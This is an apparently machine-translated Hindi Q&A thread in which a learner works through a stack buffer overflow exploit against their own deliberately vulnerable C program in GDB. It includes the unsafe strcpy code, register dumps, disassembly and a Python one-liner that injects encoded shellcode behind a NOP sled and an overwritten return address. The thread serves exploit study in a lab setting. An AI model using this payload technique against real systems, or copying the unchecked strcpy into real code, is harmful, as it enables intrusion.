2015-11-08 4 views
5

मैं कुछ बफर ओवरफ्लो शोषण उदाहरणों के माध्यम से काम कर रहा हूं और परीक्षण के लिए एक बुनियादी कमजोर सी ऐप लिखा है: (लक्ष्य और हमलावर एक ही काली 2 मशीन है और "echo" 0 ">/proc/sys/कर्नेल/randomize_va_space ")बफर ओवरफ्लो एक्सप्लॉइट उदाहरण

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 

int main(int argc, char *argv[]) 
{ 
     char buffer[256]; 
     if (argc != 2) 
     { 
       exit(0); 
     } 

     strcpy(buffer, argv[1]); 
     printf("%s\n", buffer); 
} 

अब, GDB में कुछ परीक्षण के साथ मैं बफर में 260 बाइट्स करने के द्वारा किसी SEG गलती का कारण बन सकती:

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52') 
रजिस्टरों के साथ

दिखा:

eax   0x105 261 
ecx   0xffffd300 -11520 
edx   0xf7fb3878 -134530952 
ebx   0xf7fb2000 -134537216 
esp   0xffffd300 0xffffd300 
ebp   0x0 0x0 
esi   0x0 0 
edi   0x0 0 
eip   0x42424242 0x42424242 
eflags   0x10286 [ PF SF IF RF ] 
cs    0x23 35 
ss    0x2b 43 
ds    0x2b 43 
es    0x2b 43 
fs    0x0 0 
gs    0x63 99 

मुझे लगता है कि मैं सफलतापूर्वक EIP का नियंत्रण हासिल कर सकते हैं, 0x424242 ऊपर दिए गए

प्रश्न 1.

260 बाइट्स की एक बफर के साथ (हालांकि ईबीपी 0x0 ?? है), EIP के रूप में ओवरराइड की गई है ऊपर। का उपयोग कर:

r $(python -c 'print "A" * 512') 

मैं लग रहा है कि SEGSEGV रजिस्टरों

eax   0x201 513 
ecx   0x41414141 1094795585 
edx   0xf7fb3878 -134530952 
ebx   0xf7fb2000 -134537216 
esp   0x4141413d 0x4141413d 
ebp   0x41414141 0x41414141 
esi   0x0 0 
edi   0x0 0 
eip   0x80484b4 0x80484b4 <main+89> 
eflags   0x10286 [ PF SF IF RF ] 
cs    0x23 35 
ss    0x2b 43 
ds    0x2b 43 
es    0x2b 43 
fs    0x0 0 
gs    0x63 99 

मैं सोचा होगा साथ 0x080484b4 पर यह है कि अगर EIP के 260 लाभ नियंत्रण, चाहिए नहीं 512 बाइट उदाहरण के रूप में अच्छी तरह से ? 512 परिदृश्य क्यों ईआईपी को इस मामले में 0x424242 के बजाय 260 बाइट बफर उदाहरण के रूप में रेट करने की इजाजत देता है ??

प्रश्न 2.

मैं एक पेलोड 87 बाइट्स है कि बनाया है। मैं

r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)') 

मेरे disas मुख्य है नीचे के रूप में प्रारंभिक 204 बाइट्स में पेलोड इंजेक्शन है के रूप में 56 पर एक ब्रेक (0x08048493) लाना और ईएसपी एक्स/2wx मैं $ esp की जांच

0x0804845b <+0>: lea 0x4(%esp),%ecx 
    0x0804845f <+4>: and $0xfffffff0,%esp 
    0x08048462 <+7>: pushl -0x4(%ecx) 
    0x08048465 <+10>: push %ebp 
    0x08048466 <+11>: mov %esp,%ebp 
    0x08048468 <+13>: push %ecx 
    0x08048469 <+14>: sub $0x104,%esp 
    0x0804846f <+20>: mov %ecx,%eax 
    0x08048471 <+22>: cmpl $0x2,(%eax) 
    0x08048474 <+25>: je  0x8048480 <main+37> 
    0x08048476 <+27>: sub $0xc,%esp 
    0x08048479 <+30>: push $0x0 
    0x0804847b <+32>: call 0x8048340 <[email protected]> 
    0x08048480 <+37>: mov 0x4(%eax),%eax 
    0x08048483 <+40>: add $0x4,%eax 
    0x08048486 <+43>: mov (%eax),%eax 
    0x08048488 <+45>: sub $0x8,%esp 
    0x0804848b <+48>: push %eax 
    0x0804848c <+49>: lea -0x108(%ebp),%eax 
    0x08048492 <+55>: push %eax 
    0x08048493 <+56>: call 0x8048310 <[email protected]> 
    0x08048498 <+61>: add $0x10,%esp 
    0x0804849b <+64>: sub $0xc,%esp 
    0x0804849e <+67>: lea -0x108(%ebp),%eax 
    0x080484a4 <+73>: push %eax 
    0x080484a5 <+74>: call 0x8048320 <[email protected]> 
    0x080484aa <+79>: add $0x10,%esp 
    0x080484ad <+82>: mov -0x4(%ebp),%ecx 
    0x080484b0 <+85>: leave 
    0x080484b1 <+86>: lea -0x4(%ecx),%esp 
=> 0x080484b4 <+89>: ret 

इस प्रकार है कि पा सकते हैं:

0xffffd220: 0xffffd230 0xffffd56b 

और एक्स/एस 0xffffd56b

0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>... 
(gdb) 
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times> 
01 दुर्भाग्य से

r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)') 

, कार्यक्रम:

हां, तो यह मान सकते हैं (उम्मीद सही ढंग से) कि EIP \ x6b \ xd5 \ xff \ xff कॉल करने के लिए दोहन होना चाहिए, और नीचे के रूप में सभी टुकड़ों को प्रतिस्थापन (nop स्लेज का प्रयोग करके) अब सामान्य रूप से "सामान्य 1 (प्रक्रिया 2863) सामान्य रूप से बाहर निकलने के साथ सामान्य रूप से समाप्त हो रहा है]"। क्या मैं सही रास्ते से कुछ या सिर्फ रास्ता खो रहा हूं ...? इसके अलावा मुझे लगता है कि उपरोक्त कथन में ब्रेक नहीं तोड़ते हैं?

- संपादित करें

स्क्रीन पर घंटे से प्रस्थान कर लेने :)

+0

आधुनिक ऑपरेटिंग सिस्टम आपको निर्देशों को संशोधित नहीं करने देंगे, इसलिए यदि आप एक दूरस्थ निर्देश को ओवरराइट करने का प्रयास कर रहे हैं, तो यह गलती को रोक देगा। इसके अलावा, 'ईआईपी भरें' का क्या मतलब है? ईआईपी निर्देश सूचक है। –

+0

@ बॉबीसाकैमैनो: जरूरी नहीं है कि कोड ढेर पर है। ढेर पढ़ा और लिखना है। और सभी ओएस स्टैक पर कोड निष्पादित करने से नहीं रोकते हैं (क्योंकि कुछ ओएस स्टैक पर ट्रैम्पोलिन कोड डालते हैं)। बफर शोषण कोड स्टैक पर समाप्त हो जाएगा, इसलिए यह इस बात पर निर्भर करता है कि ओएस स्टैक पर कोड निष्पादित करने की अनुमति देता है या नहीं। –

+0

@ माइकलपेट ओह अच्छा बिंदु। मैं कभी-कभी डेटा निष्पादन हमलों के बारे में भूल जाता हूं। मुझे लगता है कि इसका उत्तर देने के लिए अधिक जानकारी की आवश्यकता है। –

उत्तर

1

सूचना है कि मूल ढेर सूचक ढेर पर सहेजा गया है के बाद अधिक समझ बनाने के लिए reworded और यह सिर्फ ret से पहले पुनर्स्थापित किया जाता है ।तो यदि आप स्टैक को ओवरराइट करते हैं तो आप स्टैक पॉइंटर को ओवरराइट भी कर सकते हैं जिसका उपयोग ret के लिए किया जाएगा। main इस तरह से विशेष है, क्योंकि इसमें प्रस्तावना में स्टैक संरेखण कोड है।

उसने कहा, अपेक्षित व्यवहार वास्तव में दूसरा मामला है और पहला विशेष है। आपकी स्ट्रिंग केवल सही लंबाई होती है, इसलिए शून्य को समाप्त करने से सहेजे गए स्टैक पॉइंटर के निम्न बाइट को ओवरराइट किया जाता है जो इसे स्मृति में थोड़ा कम करने के लिए पर्याप्त है, लेकिन फिर भी आपकी स्ट्रिंग के भीतर। सटीक स्थान स्टैक लेआउट पर निर्भर करेगा, यह हमेशा आपके BBBB नहीं होगा, वास्तव में मेरे लिए यह AAAA भाग में कहीं है। ध्यान दें कि एएसएलआर ऑफ के साथ भी, पर्यावरण के कारण स्टैक लेआउट बदल सकता है, भले ही आपको जीडीबी में काम करने का शोषण मिलता है, भले ही वह शैल से विश्वसनीय रूप से काम न करे।

+0

उत्तर के लिए धन्यवाद, मुझे लगता है कि मेरे दिमाग में कुछ समझ आता है। यह कहकर, इस शोषण के काम में मेरे विकल्प क्या हैं? – TheITGuy

+0

यदि आपने अभ्यास के रूप में इसे अपने लिए लिखा है, तो आप सबकुछ एक अलग समारोह में चिपकाना चाहेंगे और 'मुख्य' का फायदा नहीं उठा सकते - यह आसान होगा क्योंकि अन्य कार्यों में स्टैक संरेखण कोड नहीं है। इसके अलावा, वास्तविक जीवन में आप शायद ही कभी 'मुख्य' का फायदा उठाते हैं। – Jester

+0

धन्यवाद - मैंने ओवरफ्लो तर्क को एक फ़ंक्शन में स्थानांतरित कर दिया है, और इसे मुख्य से कॉल करें। अब मैं देखता हूं कि उपरोक्त बिंदु 1 में यह मुद्दा चला गया है, और शोषण 'काम करने' जैसा प्रतीत होता है। मुझे प्राप्त हो रहा है/बिन/डैश: 0: जीडीबी में नहीं खोल सकता है। क्या यह संभवतः अतिप्रवाह के साथ एक मुद्दा है, या शोषण से संबंधित अधिक है? – TheITGuy

संबंधित मुद्दे